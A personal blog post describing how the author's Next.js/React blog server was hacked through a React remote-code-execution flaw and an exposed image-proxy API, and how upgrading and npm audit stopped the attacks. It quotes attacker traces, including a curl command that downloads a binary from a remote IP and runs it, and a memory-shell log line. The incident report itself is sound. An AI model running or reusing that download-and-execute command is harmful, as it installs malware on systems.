Nextjs、React サーバーがハッキングされた経験

힘센캥거루
2026년 1월 14일(수정됨)
3
42

最初にセキュリティ問題に気づいたのは、12月5日の未明だった。

React で認証なしにリモートコード実行が可能だということ。

そのニュースを見て他の人には共有したものの、自分は大丈夫だろうと思って特に気にも留めなかった。

Nextjs、React サーバーがハッキングされた経験-1

1. ハッキングの痕跡を発見

ところが、ブログのコードを更新しようとアクセスしてみると、ターミナルに見覚えのないコマンドが実行された痕跡を発見した。

/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
  status: 127,
  signal: null,
  output: [Array],
  pid: 66631,
  stdout: <Buffer >,
  stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
  digest: '3337667987'
}
/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found

そのコードをデバッグしてみると、curl コマンドでマルウェアをダウンロードして実行しようとしていた。

API の脆弱性を突かれていたことに気づき、その API はすべて閉じてしまった。

curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund

脆弱性があったのは内部プロキシサーバーで、画像とスクリプトを同時に挿入してコマンドを実行させる手法だった。

そのプロキシ API は閉じたし、API を安易に外部へ公開してはいけないという教訓を得た。

// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
  try {
    const { searchParams } = new URL(req.url)
    const target = searchParams.get('url')
    if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })

    const u = new URL(target)
    if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
      return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })

    const res = await fetch(u, {
      headers: { 'User-Agent': UA },
      redirect: 'follow',
      cache: 'no-store',
    })
    if (!res.ok || !res.body) {
      return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
    }
...
}

2. React2Shell 攻撃

その後、どれだけ脆弱性を塞いでも、継続的にハッキング攻撃が飛んできた。

あるとき、ターミナルにこんなログが出力された。

[MemShell] Loaded successfully (ESM compatible + stealth UA)

見たことのないログだったので AI に聞いてみると、攻撃でよく使われるメモリシェルだと教えてくれた。

nodejs を再起動してみたり、npm パッケージをすべて削除して再インストールしてみたり、サーバーを再起動したりもした。

しかし攻撃は途切れることがなく、どうしたものかと考えているうちに、自分が Next と React をアップデートしていなかったことをふと思い出した。

npm で脆弱性をチェックして修正した。

npm audit
npm audit fix

その後はサーバーを運用していても、ターミナルにおかしなログが出ることはなくなった。

3. 感じたこと

自分ひとりで運営していて、1日50人も来ないこのブログに、いったい何を見にそんなにアクセスしてくるのかよく分からない。

もちろんスキャンボットが脆弱性を見つけて継続的に攻撃しているのだろうけれど、かなり不愉快だ。

そして、脆弱性が見つかったときに即座に対応することが重要だという事実を痛感した。

Next を 15 から 16 にアップグレードする際に直さないといけない箇所もあって面倒ではあったが、それよりもセキュリティの方がはるかに重要だった。

これからは GeekNews をこまめにチェックしようと思う。

관련 글

Next.js フルスタックブログ開発記
Next.js フルスタックブログ開発記
Web開発に初めて触れてから1年ほど経った頃、自分だけのブログを持ちたいと思うようになった。そこで、およそ6か月これだけにかかりきりになって作ってみることにした。フロントエンド側の機能については、下記のキム・ドヒョンさんのブログを参考にするだけで十分だと思う。自分も mdx を使ってブログを作るだけ...
Caddyを利用した Next.js 無停止デプロイ(ローカルサーバー)
Caddyを利用した Next.js 無停止デプロイ(ローカルサーバー)
ホームページに何かをちょこちょこ載せたくなるたびにビルドしていたら、そのタイミング에 가끔 접속하는人がいるようだった。そうしているうちに、サーチコンソールでスコアがどんどん下がる現象が起きた。このままではまずいと思い、無停止デプロイをする方法を考えてみることにした。1. プロジェクトフォルダ2つ+...
Google検索インデックスの自動化 - Web Search Indexing API
Google検索インデックスの自動化 - Web Search Indexing API
前回の IndexNow に続いて、Google でも自動化してみることにした。調べてみると、Google は API として Web Search Indexing というものを提供していた。1. 対象範囲公式にこの API がサポートしている範囲は、求人情報とストリーミング動画サービスである。リ...
検索インデックス生成の自動化 - IndexNow
検索インデックス生成の自動化 - IndexNow
Bingにサイト登録をしている途中で知ったのだが、Bingでは IndexNow という機能を提供している。ポイントは、APIキーを使って、記事を書いた直後にすぐインデックス作成リクエストを飛ばせるということ。下のようなリクエストを fetch で作り、投稿機能に連動させておけば、記事をDBに保存す...
ブログに多言語機能を追加する(NextJS・next-intl・Vercel AI SDK)
ブログに多言語機能を追加する(NextJS・next-intl・Vercel AI SDK)
最近、ブログに多言語対応機能が必要だと感じた。そこで next-intl を使って多言語サービスを実装してみることにした。1.i18nまず多言語サービスを行うときには、守るべき原則がある。これを internationalization と呼ぶが、かなり長いので、先頭の i と末尾の n、そしてその...
Nextjsで多言語設定をする方法
Nextjsで多言語設定をする方法
私のブログへのアクセスを増やすためにどうすればいいか考えて、多言語設定を試してみることにしました。さまざまな方法を探しましたが、まずは言語ごとに異なるルーティングをすることから始めることに。next-intlを使って試してみました。1. インストールyarn add next-intl2. 適用適用は少し面倒ですが、次のような手順で進めれば大丈夫です。

댓글을 불러오는 중...